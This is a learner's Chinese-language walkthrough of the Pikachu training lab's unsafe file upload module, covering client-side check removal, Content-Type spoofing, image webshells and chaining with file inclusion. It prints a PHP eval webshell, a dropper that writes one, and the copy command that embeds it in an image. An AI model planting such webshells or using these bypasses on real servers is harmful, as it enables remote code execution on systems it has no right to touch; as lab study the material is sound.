Unsafe Fileupload(不安全的文件上传)
上一篇我们对文件上传漏洞的一些知识进行了基本的了解:文件上传漏洞学习
接下来通过 piakchu 靶场的 Unsafe Fileupload 模块对几种不安全的文件上传漏洞进行测试。
刚开始测试的时候这边一直无法上传文件,一点击开始上传就出现 warning 警告。
之后通过关闭 win10 安全中心的实时保护解决了问题。
可能是由于文件里的一句话木马让 win10 给自动查杀了。
client check
客户端校验,不会在后端校验。
打开页面显示只允许上传图片。
尝试随便上传一个东西,会出现弹窗显示不符合要求。
根据显示弹窗可以判断是前端的 JS验证,F12 打开源代码可以看到这段 JavaScript 代码。
前端的验证可以直接绕过,这里直接把这里直接删除,不让前端检测。
删除之后就可以上传了,得到文件的路径。
上传文件:11.php
文件内容为一句话木马:
<?php @eval($_POST['aa']) ?>
接下来可以构造我们的 url :
http://192.168.1.5/pikachu/vul/unsafeupload/uploads/11.php
IP为靶场所在机器的IP。
路径这里需要注意,不能直接复制,因为文件保存的位置不在此模块的 clientcheck 下,而是在 uploads 文件里。
可以使用蚁剑进行连接,或者达到其他目的。
MIME tupe
MIME(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展类型)
是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
$_FILES()函数 从浏览器的HTTP头里获取 Content-Type ,这个 Content-Type 前端用户是可以控制的。
尝试随便上传一个文件,回显出限制上传的文件格式。
这里上传一个 .php 格式的文件,Content-Type 的值是 application/octet-stream。
如果上传一个图片,Content-Type 的值是 image/jpeg 。
然后可以直接在抓到的数据包上修改 Content-Type 的值。
可以注意到这里有两个Content-Type,一开始我一直改第一个,结果一直无效。
正确的是修改第二个 Content-Type 的值,点击 Forward 文件就成功上传,得到文件路径。
getimagesize
这是一个PHP函数getimagesize() 能够识别图片文件信息 ,如果不是图片函数获取不到信息,文件就不允许上传。
随便上传一个文件,可以看到没有作用。
这里需要制作图片一句话木马。
准备:随便一张图片,两个 txt 文件,编辑完后在修改文件后缀 .php 和 .bat
.php 文件中的内容是一句话木马。
.bat 文件中的内容是 cmd 即可。
然后打开 a.bat ,就是一个命令指示符。
输入copy 22.png/b+11.php 123.jpg 之后回车即可。
后面的123.jpg 就是自己命名的一个图片文件。
可以看到在此文件夹中已经生成了这个文件,即为图片一句话木马。
其实原理就是把 .php 中的内容写进图片文件中,用 notepad++ 或者记事本就可以查看到。
网上有些教程在上传文件之前要在靶场根目录的 getimagesize.php文件插入时区函数:
date_default_timezone_set(“PRC”);
就是让文件上传的路径上有上传时间,不过我在没加上的时候似乎也是没什么问题,具体作用对于刚学习的我还不太清楚。。
接下来就可以直接上传这个图片一句话木马文件了,得到文件路径。
这个时候文件路径是没有问题的,可以通过浏览器访问到图片,但是我们在图片里面写的一句话代码无法用起来。
即图片木马无法被PHP脚本解析,蚁剑、菜刀啥的连接不上。
可以结合前面做过的文件包含漏洞模块,让蚁剑连接上。
按照上面的方法重新写一个图片木马,.php文件里的内容改为:
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST['aa']);?>'); ?>
把新制作好文件进行上传,能够得到文件路径,文件就放在靶场根目录上了。
此时模仿文件上传漏洞模块的 url,构造出以下 url:
http://192.168.1.5/pikachu/vul/fileinclude/fi_local.phpfilename=file:///E:\phpstudy_pro\WWW\pikachu\vul\unsafeupload\uploads\2021\02\10\9656226023f423461f0207493878.jpg
访问构造的 url 链接,应该会在文件包含漏洞的根目录下生成一个 mum.php 文件,再用蚁剑连接就可以成功了。
不过我在自己机器上又遇到了权限问题。。。。。。。。。难
方法应该是可以这么做,暂时无法测试。